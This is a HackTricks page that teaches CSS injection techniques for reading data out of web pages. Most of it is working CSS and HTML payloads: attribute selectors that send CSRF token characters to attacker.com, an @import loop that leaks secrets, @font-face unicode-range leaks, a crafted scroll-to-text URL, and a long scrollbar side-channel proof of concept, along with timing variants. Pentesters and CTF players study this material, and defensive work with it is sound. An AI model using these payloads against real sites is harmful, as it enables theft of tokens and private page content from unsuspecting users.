CSS Injection - HackTricks

# CSS Injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## CSS Injection

### Attribute Selector

CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded:

    input[name="csrf"][value^="a"] {
      background-image: url(https://attacker.com/exfil/a);
    }
    input[name="csrf"][value^="b"] {
      background-image: url(https://attacker.com/exfil/b);
    }
    /* ... */
    input[name="csrf"][value^="9"] {
      background-image: url(https://attacker.com/exfil/9);
    }

However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds.

#### Bypass for Hidden Elements

To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load:

    input[name="csrf"][value^="csrF"] ~ * {
      background-image: url(https://attacker.com/exfil/csrF);
    }

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.

#### Prerequisites for CSS Injection

For the CSS Injection technique to be effective, certain conditions must be met:

1. Payload Length: The CSS injection vector must support sufficiently long payloads to accommodate the crafted selectors.
2. CSS Re-evaluation: You should have the ability to frame the page, which is necessary to trigger the re-evaluation of CSS with newly generated payloads.
3. External Resources: The technique assumes the ability to use externally hosted images. This might be restricted by the site's Content Security Policy (CSP).

### Blind Attribute Selector

As explained in this post, it's possible to combine the selectors `:has` and `:not` to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

    <style>
      html:has(input[name^="m"]):not(input[name="mytoken"]) {
        background: url(/m);
      }
    </style>
    <input name="mytoken" value="1337" />
    <input name="myname" value="gareth" />

Combining this with the following @import technique, it's possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.

### @import

The previous technique has some drawbacks, check the prerequisites. You either need to be able to send multiple links to the victim, or you need to be able to iframe the CSS injection vulnerable page.

However, there is another clever technique that uses CSS `@import` to improve the quality of the technique.

This was first showed by Pepe Vila and it works like this:

Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to load the page just once and just with an import to the attackers server (this is the payload to send to the victim):

    @import url("//attacker.com:5001/start?");

1. The import is going to receive some CSS script from the attackers and the browser will load it.
2. The first part of the CSS script the attacker will send is another `@import` to the attackers server again.
   1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
3. The second and bigger part of the payload is going to be an attribute selector leakage payload
   1. This will send to the attackers server the first char of the secret and the last one
4. Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
   1. The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.

The attacker will follow that loop until it manages to leak completely the secret.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

> [!NOTE] The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

>     /* value^=  to match the beggining of the value*/
>     input[value^="0"] {
>       --s0: url(http://localhost:5001/leak?pre=0);
>     }

>     /* value$=  to match the ending of the value*/
>     input[value$="f"] {
>       --e0: url(http://localhost:5001/leak?post=f);
>     }

> This allows the script to leak the secret faster.

> [!WARNING] Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
> No worries, just check the output because you can see the flag there.

### Other selectors

Other ways to access DOM parts with CSS selectors:

- `.class-to-search:nth-child(2)`: This will search the second item with class "class-to-search" in the DOM.

- `:empty` selector: Used for example in this writeup:

      [role^="img"][aria-label="1"]:empty {
        background-image: url("YOUR_SERVER_URL?1");
      }

### Error based XS-Search

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

The overall intention is to use a custom font from a controlled endpoint and ensure that text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded.

    <!DOCTYPE html>
    <html>
      <head>
        <style>
          @font-face {
            font-family: poc;
            src: url(http://attacker.com/?leak);
            unicode-range: U+0041;
          }

          #poc0 {
            font-family: "poc";
          }
        </style>
      </head>
      <body>
        <object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
      </body>
    </html>

1. Custom Font Usage:

   - A custom font is defined using the `@font-face` rule within a `<style>` tag in the `<head>` section.
   - The font is named `poc` and is fetched from an external endpoint (`http://attacker.com/?leak`).
   - The `unicode-range` property is set to `U+0041`, targeting the specific Unicode character 'A'.

2. Object Element with Fallback Text:

   - An `<object>` element with `id="poc0"` is created in the `<body>` section. This element tries to load a resource from `http://192.168.0.1/favicon.ico`.
   - The `font-family` for this element is set to `'poc'`, as defined in the `<style>` section.
   - If the resource (`favicon.ico`) fails to load, the fallback content (the letter 'A') inside the `<object>` tag is displayed.
   - The fallback content ('A') will be rendered using the custom font `poc` if the external resource cannot be loaded.

### Styling Scroll-to-Text Fragment

The `:target` pseudo-class is employed to select an element targeted by a URL fragment, as specified in the CSS Selectors Level 4 specification. It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.

A security concern arises when attackers exploit the Scroll-to-text fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:

    :target::before {
      content: url(target.png);
    }

In such scenarios, if the text "Administrator" is present on the page, the resource `target.png` gets requested from the server, indicating the text's presence. An instance of this attack can be executed through a specially crafted URL that embeds the injected CSS alongside a Scroll-to-text fragment:

    http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.

For mitigation, the following points should be noted:

1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens.
2. Restriction to Top-level Browsing Contexts: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user.
3. Necessity of User Activation: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation.

Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

### @font-face / unicode-range

You can specify external fonts for specific unicode values that will only be gathered if those unicode values are present in the page. For example:

    <style>
      @font-face {
        font-family: poc;
        src: url(http://attacker.example.com/?A); /* fetched */
        unicode-range: U+0041;
      }
      @font-face {
        font-family: poc;
        src: url(http://attacker.example.com/?B); /* fetched too */
        unicode-range: U+0042;
      }
      @font-face {
        font-family: poc;
        src: url(http://attacker.example.com/?C); /* not fetched */
        unicode-range: U+0043;
      }
      #sensitive-information {
        font-family: poc;
      }
    </style>

    <p id="sensitive-information">AB</p>
    htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

### Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:

1. Creation of Custom Fonts:

   - SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
   - Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
   - These fonts are then converted to woff format using fontforge.

2. Detection of Width Changes:

   - CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
   - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
   - The CSS involved:

         body {
           white-space: nowrap;
         }
         body::-webkit-scrollbar {
           background: blue;
         }
         body::-webkit-scrollbar:horizontal {
           background: url(http://attacker.com/?leak);
         }

3. Exploit Process:

   - Step 1: Fonts are created for pairs of characters with substantial width.
   - Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
   - Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
   - Step 4: Detection of the three-character ligature is carried out.
   - Step 5: The process repeats, progressively revealing the entire text.

4. Optimization:

   - The current initialization method using `<meta refresh=...` is not optimal.
   - A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.

### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.

The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:

1. Prefix: The initial line.
2. Suffix: The subsequent line(s).

The transition stages of the characters would appear as follows:

C
ADB

CA
DB

CAD
B

CADB

During this transition, the unicode-range trick is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.

Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.

> [!NOTE] Basically, the unicode-range is used to detect a char, but as we don't want to load an external font, we need to find another way.
> When the char is found, it's given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.

Check the code extracted from the PoC:

    /* comic sans is high (lol) and causes a vertical overflow */
    @font-face {
      font-family: has_A;
      src: local("Comic Sans MS");
      unicode-range: U+41;
      font-style: monospace;
    }
    @font-face {
      font-family: has_B;
      src: local("Comic Sans MS");
      unicode-range: U+42;
      font-style: monospace;
    }
    @font-face {
      font-family: has_C;
      src: local("Comic Sans MS");
      unicode-range: U+43;
      font-style: monospace;
    }
    @font-face {
      font-family: has_D;
      src: local("Comic Sans MS");
      unicode-range: U+44;
      font-style: monospace;
    }
    @font-face {
      font-family: has_E;
      src: local("Comic Sans MS");
      unicode-range: U+45;
      font-style: monospace;
    }
    @font-face {
      font-family: has_F;
      src: local("Comic Sans MS");
      unicode-range: U+46;
      font-style: monospace;
    }
    @font-face {
      font-family: has_G;
      src: local("Comic Sans MS");
      unicode-range: U+47;
      font-style: monospace;
    }
    @font-face {
      font-family: has_H;
      src: local("Comic Sans MS");
      unicode-range: U+48;
      font-style: monospace;
    }
    @font-face {
      font-family: has_I;
      src: local("Comic Sans MS");
      unicode-range: U+49;
      font-style: monospace;
    }
    @font-face {
      font-family: has_J;
      src: local("Comic Sans MS");
      unicode-range: U+4a;
      font-style: monospace;
    }
    @font-face {
      font-family: has_K;
      src: local("Comic Sans MS");
      unicode-range: U+4b;
      font-style: monospace;
    }
    @font-face {
      font-family: has_L;
      src: local("Comic Sans MS");
      unicode-range: U+4c;
      font-style: monospace;
    }
    @font-face {
      font-family: has_M;
      src: local("Comic Sans MS");
      unicode-range: U+4d;
      font-style: monospace;
    }
    @font-face {
      font-family: has_N;
      src: local("Comic Sans MS");
      unicode-range: U+4e;
      font-style: monospace;
    }
    @font-face {
      font-family: has_O;
      src: local("Comic Sans MS");
      unicode-range: U+4f;
      font-style: monospace;
    }
    @font-face {
      font-family: has_P;
      src: local("Comic Sans MS");
      unicode-range: U+50;
      font-style: monospace;
    }
    @font-face {
      font-family: has_Q;
      src: local("Comic Sans MS");
      unicode-range: U+51;
      font-style: monospace;
    }
    @font-face {
      font-family: has_R;
      src: local("Comic Sans MS");
      unicode-range: U+52;
      font-style: monospace;
    }
    @font-face {
      font-family: has_S;
      src: local("Comic Sans MS");
      unicode-range: U+53;
      font-style: monospace;
    }
    @font-face {
      font-family: has_T;
      src: local("Comic Sans MS");
      unicode-range: U+54;
      font-style: monospace;
    }
    @font-face {
      font-family: has_U;
      src: local("Comic Sans MS");
      unicode-range: U+55;
      font-style: monospace;
    }
    @font-face {
      font-family: has_V;
      src: local("Comic Sans MS");
      unicode-range: U+56;
      font-style: monospace;
    }
    @font-face {
      font-family: has_W;
      src: local("Comic Sans MS");
      unicode-range: U+57;
      font-style: monospace;
    }
    @font-face {
      font-family: has_X;
      src: local("Comic Sans MS");
      unicode-range: U+58;
      font-style: monospace;
    }
    @font-face {
      font-family: has_Y;
      src: local("Comic Sans MS");
      unicode-range: U+59;
      font-style: monospace;
    }
    @font-face {
      font-family: has_Z;
      src: local("Comic Sans MS");
      unicode-range: U+5a;
      font-style: monospace;
    }
    @font-face {
      font-family: has_0;
      src: local("Comic Sans MS");
      unicode-range: U+30;
      font-style: monospace;
    }
    @font-face {
      font-family: has_1;
      src: local("Comic Sans MS");
      unicode-range: U+31;
      font-style: monospace;
    }
    @font-face {
      font-family: has_2;
      src: local("Comic Sans MS");
      unicode-range: U+32;
      font-style: monospace;
    }
    @font-face {
      font-family: has_3;
      src: local("Comic Sans MS");
      unicode-range: U+33;
      font-style: monospace;
    }
    @font-face {
      font-family: has_4;
      src: local("Comic Sans MS");
      unicode-range: U+34;
      font-style: monospace;
    }
    @font-face {
      font-family: has_5;
      src: local("Comic Sans MS");
      unicode-range: U+35;
      font-style: monospace;
    }
    @font-face {
      font-family: has_6;
      src: local("Comic Sans MS");
      unicode-range: U+36;
      font-style: monospace;
    }
    @font-face {
      font-family: has_7;
      src: local("Comic Sans MS");
      unicode-range: U+37;
      font-style: monospace;
    }
    @font-face {
      font-family: has_8;
      src: local("Comic Sans MS");
      unicode-range: U+38;
      font-style: monospace;
    }
    @font-face {
      font-family: has_9;
      src: local("Comic Sans MS");
      unicode-range: U+39;
      font-style: monospace;
    }
    @font-face {
      font-family: rest;
      src: local("Courier New");
      font-style: monospace;
      unicode-range: U+0-10FFFF;
    }

    div.leak {
      overflow-y: auto; /* leak channel */
      overflow-x: hidden; /* remove false positives */
      height: 40px; /* comic sans capitals exceed this height */
      font-size: 0px; /* make suffix invisible */
      letter-spacing: 0px; /* separation */
      word-break: break-all; /* small width split words in lines */
      font-family: rest; /* default */
      background: grey; /* default */
      width: 0px; /* initial value */
      animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
      animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
    }

    div.leak::first-line {
      font-size: 30px; /* prefix is visible in first line */
      text-transform: uppercase; /* only capital letters leak */
    }

    /* iterate over all chars */
    @keyframes trychar {
      0% {
        font-family: rest;
      } /* delay for width change */
      5% {
        font-family: has_A, rest;
        --leak: url(?a);
      }
      6% {
        font-family: rest;
      }
      10% {
        font-family: has_B, rest;
        --leak: url(?b);
      }
      11% {
        font-family: rest;
      }
      15% {
        font-family: has_C, rest;
        --leak: url(?c);
      }
      16% {
        font-family: rest;
      }
      20% {
        font-family: has_D, rest;
        --leak: url(?d);
      }
      21% {
        font-family: rest;
      }
      25% {
        font-family: has_E, rest;
        --leak: url(?e);
      }
      26% {
        font-family: rest;
      }
      30% {
        font-family: has_F, rest;
        --leak: url(?f);
      }
      31% {
        font-family: rest;
      }
      35% {
        font-family: has_G, rest;
        --leak: url(?g);
      }
      36% {
        font-family: rest;
      }
      40% {
        font-family: has_H, rest;
        --leak: url(?h);
      }
      41% {
        font-family: rest;
      }
      45% {
        font-family: has_I, rest;
        --leak: url(?i);
      }
      46% {
        font-family: rest;
      }
      50% {
        font-family: has_J, rest;
        --leak: url(?j);
      }
      51% {
        font-family: rest;
      }
      55% {
        font-family: has_K, rest;
        --leak: url(?k);
      }
      56% {
        font-family: rest;
      }
      60% {
        font-family: has_L, rest;
        --leak: url(?l);
      }
      61% {
        font-family: rest;
      }
      65% {
        font-family: has_M, rest;
        --leak: url(?m);
      }
      66% {
        font-family: rest;
      }
      70% {
        font-family: has_N, rest;
        --leak: url(?n);
      }
      71% {
        font-family: rest;
      }
      75% {
        font-family: has_O, rest;
        --leak: url(?o);
      }
      76% {
        font-family: rest;
      }
      80% {
        font-family: has_P, rest;
        --leak: url(?p);
      }
      81% {
        font-family: rest;
      }
      85% {
        font-family: has_Q, rest;
        --leak: url(?q);
      }
      86% {
        font-family: rest;
      }
      90% {
        font-family: has_R, rest;
        --leak: url(?r);
      }
      91% {
        font-family: rest;
      }
      95% {
        font-family: has_S, rest;
        --leak: url(?s);
      }
      96% {
        font-family: rest;
      }
    }

    /* increase width char by char, i.e. add new char to prefix */
    @keyframes loop {
      0% {
        width: 0px;
      }
      1% {
        width: 20px;
      }
      2% {
        width: 40px;
      }
      3% {
        width: 60px;
      }
      4% {
        width: 80px;
      }
      4% {
        width: 100px;
      }
      5% {
        width: 120px;
      }
      6% {
        width: 140px;
      }
      7% {
        width: 0px;
      }
    }

    div::-webkit-scrollbar {
      background: blue;
    }

    /* side-channel */
    div::-webkit-scrollbar:vertical {
      background: blue var(--leak);
    }

### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

This case is very similar to the previous one, however, in this case the goal of making specific chars bigger than other is to hide something like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.

### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:

    @font-face {
      font-family: "A1";
      src: url(/static/bootstrap.min.css?q=1);
      unicode-range: U+0041;
    }

If there is a match, the font will be loaded from `/static/bootstrap.min.css?q=1`. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.

### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:

    @font-face {
      font-family: "A1";
      src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
        .... url(/static/bootstrap.min.css?q=500);
      unicode-range: U+0041;
    }

And the bot’s code looks like this:

    browser.get(url)
    WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
    time.sleep(30)

So, if the font does not match, the response time when visiting the bot is expected to be approximately 30 seconds. However, if there is a font match, multiple requests will be sent to retrieve the font, causing the network to have continuous activity. As a result, it will take longer to satisfy the stop condition and receive the response. Therefore, the response time can be used as an indicator to determine if there is a font match.

## References

- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.